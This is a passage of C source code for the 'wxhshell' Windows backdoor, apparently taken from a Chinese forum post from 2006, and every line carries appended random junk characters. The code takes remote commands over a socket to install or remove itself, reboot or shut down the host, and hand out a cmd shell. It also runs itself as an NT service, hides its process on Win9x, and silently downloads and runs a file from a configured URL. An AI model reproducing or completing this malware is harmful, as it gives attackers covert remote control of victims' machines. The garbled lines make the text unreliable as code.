  else { zbn0)JO  
tgEXX-{  
    switch(cmd[0]) { ; =.VKW%U  
  ?zp@HS a9  
  // 帮助 os*QWSs  
  case '?': { 3lYM(DT  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); h 3Kv0^{  
    break; /~*U'.V  
  } lSU&Yqx  
  // 安装 4SSq5Ve<  
  case 'i': { r168ft?c  
    if(Install()) Rr+Y::E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S?*pCJ0  
    else 1HK5OT&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  so_  
    break; x"0*U9f  
    } "pTyQT9P  
  // 卸载 HT7V} UiaO  
  case 'r': { \:ntqj&A|  
    if(Uninstall()) NidG|Yg~Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :{<( )gfk  
    else 0]3%BgZ(a8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QHnk@ R!  
    break; Uv'.]#H<  
    } A8Q1x/d(  
  // 显示 wxhshell 所在路径 sI p q  
  case 'p': { DPR=Xls  
    char svExeFile[MAX_PATH]; f;M7y:A8q,  
    strcpy(svExeFile,"\n\r"); Z7?C^m  
      strcat(svExeFile,ExeFile); SA s wP  
        send(wsh,svExeFile,strlen(svExeFile),0); ukBj@.~  
    break; vB(tpki|  
    } H^P uC (  
  // 重启 !Tuc#yFw  
  case 'b': { 1L.H"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); RMU]GCa  
    if(Boot(REBOOT)) s>Xx:h6m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P_)h8-!+ $  
    else { [H$37Hx !  
    closesocket(wsh); Vh1{8'G Q  
    ExitThread(0); V4p4m@z^u  
    } v7"' ^sZ?  
    break; $8#zPJR&  
    } -Gjz;/s%XH  
  // 关机 Enr8"+.(  
  case 'd': { Qm86!(eZ-  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xv;'27mUt  
    if(Boot(SHUTDOWN)) ><9E^ k0.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7N0V`&}T  
    else { )+T\LU  
    closesocket(wsh); </0@7  
    ExitThread(0); LO{{3No  
    } 8+m;zvDSU  
    break; _hlLM,p  
    } o#Q0J17i?  
  // 获取shell KO/Z|I  
  case 's': { nE+OBdl  
    CmdShell(wsh); d>@&[C!28  
    closesocket(wsh); !_<zK:`-L  
    ExitThread(0); 3x2*K_A5:Q  
    break; J*s!(J |Q  
  } Nb/W+& y  
  // 退出 &t1?=F,]  
  case 'x': { m3zmyw}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); I_66q7U"0  
    CloseIt(wsh); o>lk+Q#L @  
    break; #=r:;,,  
    } z^s/7Va[  
  // 离开 QV/ o;  
  case 'q': {  meQ>mW  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); B[k {u#Kp  
    closesocket(wsh); -Bymt[  
    WSACleanup(); w_o|k&~,  
    exit(1); n<47#-  
    break; .|x\6 jf  
        } 1I< <`7'  
  } Hbz>D5$  
  } &c<0g`x  
Yg_;Eu0'?  
  // 提示信息 wWV`k  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0c*y~hUVZ  
} R$qp3I  
  } y>}dKbCN  
Sb@:ercC,  
  return; C" vj#Tx  
} 6^ UQ{P1;  
Y] Q=kI  
// shell模块句柄 {=n-S2%  
int CmdShell(SOCKET sock) 2S'{$m)  
{ Y>v(UU  
STARTUPINFO si; -yKx"Q9F  
ZeroMemory(&si,sizeof(si)); Hrb67a%b  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [K_v,m]   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^id9_RU   
PROCESS_INFORMATION ProcessInfo; :ryyo$  
char cmdline[]="cmd"; yTj!(C  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [k)xn3[  
  return 0; Jv*[@ -.k  
} Imi;EHW  
\ZSZ(p#1  
// 自身启动模式 $ {29[hO  
int StartFromService(void) $Pw@EC]  
{ 9C;Hm>WEpP  
typedef struct tNsiokOm  
{ vU5a`0mH  
  DWORD ExitStatus; A UCk]  
  DWORD PebBaseAddress; J=QuZwt  
  DWORD AffinityMask; >^mNIfdE^=  
  DWORD BasePriority; Rw8l"`  
  ULONG UniqueProcessId; N>8p A)  
  ULONG InheritedFromUniqueProcessId; {Dv^j#  
}   PROCESS_BASIC_INFORMATION; v2X>%  
g5THkxp  
PROCNTQSIP NtQueryInformationProcess; uCX+Lw+As  
\^=Wp'5R  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; X}XTEk3[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 46U?aHKW@|  
(N6 3k1M  
  HANDLE             hProcess; ~M@'=Q*~  
  PROCESS_BASIC_INFORMATION pbi; i-6,r[<  
\1k(4MWd  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); jkz .qo-%  
  if(NULL == hInst ) return 0; 3aMfZa<=  
:-Gf GL>]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .m',*s<CMQ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); aI8k:FK"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -p|JJx?r  
/{|<3CEe  
  if (!NtQueryInformationProcess) return 0; iR k.t=B  
w.tQ)x1h  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?|Q[QP  
  if(!hProcess) return 0; }d<xbL!#  
^Rgm3?7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Z^P]-CB|6A  
Dm=d   
  CloseHandle(hProcess); }o>6 y>=  
j,7NLb9M  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3Zy$NsY3  
if(hProcess==NULL) return 0; g[Tl#X7F  
+f#o ij  
HMODULE hMod; \\<waU''  
char procName[255]; h>s|MZQ:*  
unsigned long cbNeeded; G$hH~{Y$  
*hJ&7w ~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); < 0S+[7S"  
S1_X@[t  
  CloseHandle(hProcess); K|"97{*|2  
&`` dI,NC  
if(strstr(procName,"services")) return 1; // 以服务启动 f-Yp`lnn.d  
n veHLHvC7  
  return 0; // 注册表启动 cP >MsUZWl  
} &4g]#A>@  
P=Au~2X  
// 主模块 ZS\ jbii8  
int StartWxhshell(LPSTR lpCmdLine) ?kOtK  
{ ]QB<N|ps  
  SOCKET wsl; ~d+.w%Z `  
BOOL val=TRUE; T#L/HD  
  int port=0; ]{tnNr>mv  
  struct sockaddr_in door; J;?#Zt]`L  
RbexsBq  
  if(wscfg.ws_autoins) Install(); _RzwE$+9  
)v1y P  
port=atoi(lpCmdLine); f:/[  
D{%l 4og  
if(port<=0) port=wscfg.ws_port; ^TC<_]7  
Equj[yw%@  
  WSADATA data; ]Q?`|a+i  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Eb9 eEa<W  
BhO*Pfs  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $d<vPpJ3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0+a-l[!p  
  door.sin_family = AF_INET; ba=-F4?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); );8Nj zX1  
  door.sin_port = htons(port); \S]"nHX  
AKKp-I5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { U"Gg ,  
closesocket(wsl); 4Dd@&N  
return 1; Dd1\$RBo  
} p2v+sWO  
'qhi8=*  
  if(listen(wsl,2) == INVALID_SOCKET) { B%~hVpm,eM  
closesocket(wsl); '}\#bMeObg  
return 1; MfX1&/Z+  
} \Lp|S:u  
  Wxhshell(wsl); J(k\Pz*  
  WSACleanup(); /dT7:x*  
,BUDo9h  
return 0; ?Ek 3<7d  
C\ ~!2cy  
} Q]Kc< [E  
G5C=p:o{/  
// 以NT服务方式启动 )<fa1Gz#^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  j|Q*L<J  
{ [Pn(d[$z  
DWORD   status = 0; byT@O:fL  
  DWORD   specificError = 0xfffffff; W@X/Z8.(  
B=4xZJ Py  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /< OoZf+[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5Op|="W.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _$&C$q$1y  
  serviceStatus.dwWin32ExitCode     = 0; =/ b2e\  
  serviceStatus.dwServiceSpecificExitCode = 0; X?2ub/Nr#Y  
  serviceStatus.dwCheckPoint       = 0; PWch9p0U  
  serviceStatus.dwWaitHint       = 0; I}?+>cf  
2X:OS/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Bl\/q83(  
  if (hServiceStatusHandle==0) return; nUp, %z[  
Cb`2"mpWS  
status = GetLastError(); =vd9mb-  
  if (status!=NO_ERROR) LSX;|#AI  
{ <)f1skJsP  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; NCid`a$  
    serviceStatus.dwCheckPoint       = 0; dX720/R  
    serviceStatus.dwWaitHint       = 0; 5,i0QT"  
    serviceStatus.dwWin32ExitCode     = status; kYwV0xQ  
    serviceStatus.dwServiceSpecificExitCode = specificError; E41ay:duAl  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ( 04clU^F  
    return; &bIE"ZBjt  
  } M%U1?^j8  
2YS1%<-g*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &l&B[s6[  
  serviceStatus.dwCheckPoint       = 0; <k41j=d  
  serviceStatus.dwWaitHint       = 0; X(YR).a~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1N3qMm^  
} X:0-FCT;\  
dKG2f  
// 处理NT服务事件,比如:启动、停止 li4"|T&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {.,-lFb\  
{ :u ruC  
switch(fdwControl) pA~eGar_J  
{ 4s <|8   
case SERVICE_CONTROL_STOP: v` G[6Z  
  serviceStatus.dwWin32ExitCode = 0; rV5QKz6'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; BEfP#h=hr  
  serviceStatus.dwCheckPoint   = 0; t'7A-K=k3  
  serviceStatus.dwWaitHint     = 0; F\)?Ntj)>@  
  { w1N-`S:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D^!x@I~:  
  } ,; 81FK  
  return; zfm-v U  
case SERVICE_CONTROL_PAUSE: RTXl3 jq  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; s)eU^4m  
  break; /'g/yBY  
case SERVICE_CONTROL_CONTINUE: hFiJHV  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Qf$3!O}G  
  break; K:<0!C!  
case SERVICE_CONTROL_INTERROGATE: #rps2nf.j  
  break; #_U[ T  
}; @pn<x"F5'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pOmHxFOOK  
} 6u6,9VG,  
01br l^5K  
// 标准应用程序主函数 +eIX{J\s  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )W0zu\fL =  
{ W["c3c  
xnp5XhU  
// 获取操作系统版本 /Y7Yy jMi  
OsIsNt=GetOsVer(); aj\ zc I  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7hq$vI%0  
iN]#XIQ%  
  // 从命令行安装 C5ia9LpRX  
  if(strpbrk(lpCmdLine,"iI")) Install(); *D_pFS^l  
)e|n7|} $  
  // 下载执行文件 @/yQ4Gr  
if(wscfg.ws_downexe) { k O8W>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) UbDRE[^P  
  WinExec(wscfg.ws_filenam,SW_HIDE); XW2{I.:in>  
} ~d)2>A 2:  
{] Zet}2  
if(!OsIsNt) { 0DR:qw  
// 如果时win9x,隐藏进程并且设置为注册表启动 2 yY.rs  
HideProc(); tAxS1<T4  
StartWxhshell(lpCmdLine); \l d{Z;e  
} cCWk^lF],  
else T=- $ok`G  
  if(StartFromService()) c c^I9g~  
  // 以服务方式启动 )=EJFQ*v  
  StartServiceCtrlDispatcher(DispatchTable); Lfj]Y~*z  
else )V6<'>1WZ  
  // 普通方式启动 O.+02C_*  
  StartWxhshell(lpCmdLine); @x4IxGlUs  
Ga9^+.j  
return 0; q<2b,w==  
}
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只看该作者 1 发表于: 2006-10-10
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